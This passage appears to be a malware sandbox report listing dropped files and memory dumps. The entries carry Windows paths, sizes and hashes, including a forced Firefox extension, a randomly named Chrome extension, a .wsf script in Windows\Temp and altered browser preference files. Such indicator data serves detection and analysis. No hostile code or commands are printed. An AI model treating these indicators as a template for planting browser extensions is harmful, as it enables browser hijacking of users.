f404a6bd6758f9d63b320af72dde2c78c0b35619b8b07dc072dd1e8c44de3c4f

SHA512
7f93ff9ca1cb5d4d26f9fe72862301e5dc048bf4ade0e496e152ebae588962887cb20a88e338583aa9f8d53c60ba4b368e8bdf674cc37d881aeb166a135dd3c9

Download Submit
C:\Program Files\Mozilla Firefox\browser\features\{890E65A6-8611-4D9E-84C4-5B84DD9BA046}.xpi

Filesize
2.1MB

MD5
6b0d4d6dc3804cf523adb88cdb5836a2

SHA1
73bbdffb3ce2c80b3acbc09c998d13b4393274e8

SHA256
4bbe274056c4c53415bd66dfa45bd2d4b0ee7929664b682bdf790c7f8c75adb0

SHA512
69796257894d6a9c8d80772ef974edc6c13cda2eb7a0db2fce5d7d0e4c255125d56036fb461fc2520836ca3e94f98fe6f1fa48a1f3fe35895e53c8b96b87a33d

Download Submit
C:\ProgramData\NpSuaNqPYDJSGZVB\eIlnsgi.xml

Filesize
2KB

MD5
dd5605c84b63082ead8cce31a382d284

SHA1
0cc5c1930607e9ad2162e76b6ede9d944f75b1ee

SHA256
23307bb9e825a1c2f6476f73572e886f455ef9bbbd891baf86d420d2ebb36d96

SHA512
1c0fb05594268a12b03852792eec278de7b527742654b36bf0450485e4b34839e1cb8a520256cf7023e8b87a6a940258a76fdb282ef7cd954b98273b232ea8b0

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\fjdkmkjlnhchckdbmdfbhkofmjdkhfig\1.0_0\_locales\en_GB\messages.json

Filesize
187B

MD5
2a1e12a4811892d95962998e184399d8

SHA1
55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

SHA256
32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

SHA512
bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\fjdkmkjlnhchckdbmdfbhkofmjdkhfig\1.0_0\_locales\fa\messages.json

Filesize
136B

MD5
238d2612f510ea51d0d3eaa09e7136b1

SHA1
0953540c6c2fd928dd03b38c43f6e8541e1a0328

SHA256
801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

SHA512
2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\fjdkmkjlnhchckdbmdfbhkofmjdkhfig\1.0_0\_locales\pt_BR\messages.json

Filesize
150B

MD5
0b1cf3deab325f8987f2ee31c6afc8ea

SHA1
6a51537cef82143d3d768759b21598542d683904

SHA256
0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

SHA512
5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
a9212a6cfd8f5be98936906c27da7177

SHA1
4c288a07537d1dee1ce4789b62b693b1e5c0cdc9

SHA256
70b9b915b945adbd2e1d05846ecade49157c8fd544d296672d21dd44285f3c18

SHA512
ae1d328bc6488fa47b05af42df629378cd6ad8534632d4177eb8504680450c2ed226f024996d6725263a5d6259ed1f578443c10b27f59528c9e6a8f83c0a99b0

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
df3d5c8d474399d616bb81b92e40e0c7

SHA1
5d67c1c515147714bd509385c0734fbe0fe4698f

SHA256
0e244539ec938d1e5009ef00538237e4c47945c6e523af4095e187d0bb893987

SHA512
b460a882b7983fcd950db884f4cc3af52a30f35e77e1874f04046f29512f9f720bd46c79a31af8067a6a2b52eb19b938af9557607a3119ec108cb90af9980395

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
4ccd9864ab37e36ec37b36d544046db5

SHA1
27c17ed87b996dcb8993d91196ff016769d6cc3c

SHA256
52272fef810d97dbcbf851bd63da3f2eef192c925c450da9eaa745c0ac87620f

SHA512
b86a41ff6b300c7b9054d00bb49d681a6c42b758de69a6c9efa84725ec20d49ad4196c2c05c5e9aeb120e55b449d8a294aa0bd046cdd0be1596c9f4d067caadf

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GH0OLODOU57VTES8269T.temp

Filesize
7KB

MD5
0a679f6e54c4caad3890a3033400512f

SHA1
da641ae3e317f0c54166643966ec089815002527

SHA256
7eded787d99e620bdf790762fe500f7b7b06d5c37bbcfcf4a9fa17e228b60b6f

SHA512
57319147956b6b4fb7ae6b66ff948a226d0c3c2a08264761939cb60f0d15fc4b246f43f421914c2cf02cf12500fa52d25bfeb824cb4052db762f063c6677c5b5

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\bhg31lui.default-release\prefs.js

Filesize
7KB

MD5
7110caf704c40b362e673ac5159b29dd

SHA1
71f105811a768270ded8a0b0e698dded3fb474e9

SHA256
9b18789cda840bdff5e02a7f760f10765c827b11d0c696dfea4bab6fdb4c0791

SHA512
8f14fdc104bf26293a2b1e9ab956d110d8580eeea845047837cadaee502b96e38f1e4ecf592a57bec106f503eb8e3bbbb51f190de1d2192d362634e7867774f0

Download Submit
C:\Windows\Temp\OnhNpPaMzJMsBlOt\FiChuSSU\NBpjziWraToRcTdL.wsf

Filesize
9KB

MD5
72b1bc18984514e2a41d197d01ebf221

SHA1
689188a900db2562f396419d8f25c9d989ae8817

SHA256
ca469a0e7ce5bd964917a05e144517a0a363ba3a9e48d8a0fbac59f59ed2d9e9

SHA512
864cbc65b7232866a2879cc36569274e415ef7eab3da8929915387364a901d62b78577c699eb8839ffc22618892653ae4a0f6f59cad59faa3974e721531f0b2c

Download Submit
memory/600-24-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/600-25-0x0000000002820000-0x0000000002828000-memory.dmp

Filesize
32KB

Download
memory/1884-12-0x000000001B830000-0x000000001BB12000-memory.dmp

Filesize
2.9MB

Download
memory/1884-13-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

Filesize
32KB

Download
memory/2288-39-0x000000001B800000-0x000000001BAE2000-memory.dmp

Filesize
2.9MB

Download
memory/2400-7-0x0000000010000000-0x00000000105EC000-memory.dmp

Filesize
5.9MB

Download
memory/2400-14-0x0000000000AD0000-0x000000000115E000-memory.dmp

Filesize
6.6MB

Download
memory/2400-51-0x00000000032F0000-0x0000000003375000-memory.dmp

Filesize
532KB

Download
memory/2400-0-0x0000000000AD0000-0x000000000115E000-memory.dmp

Filesize
6.6MB

Download
memory/2400-1-0x0000000010000000-0x00000000105EC000-memory.dmp

Filesize
5.9MB

Download
memory/2400-88-0x0000000003380000-0x00000000033E1000-memory.dmp

Filesize
388KB

Download
memory/2400-275-0x0000000003F70000-0x0000000003FF0000-memory.dmp

Filesize
512KB

Download
memory/2400-285-0x0000000005280000-0x000000000534F000-memory.dmp

Filesize
828KB

Download
memory/2400-15-0x0000000010000000-0x00000000105EC000-memory.dmp

Filesize
5.9MB

Download
memory/2400-304-0x0000000000AD0000-0x000000000115E000-memory.dmp

Filesize
6.6MB

Download
memory/2400-305-0x0000000010000000-0x00000000105EC000-memory.dmp

Filesize
5.9MB

Download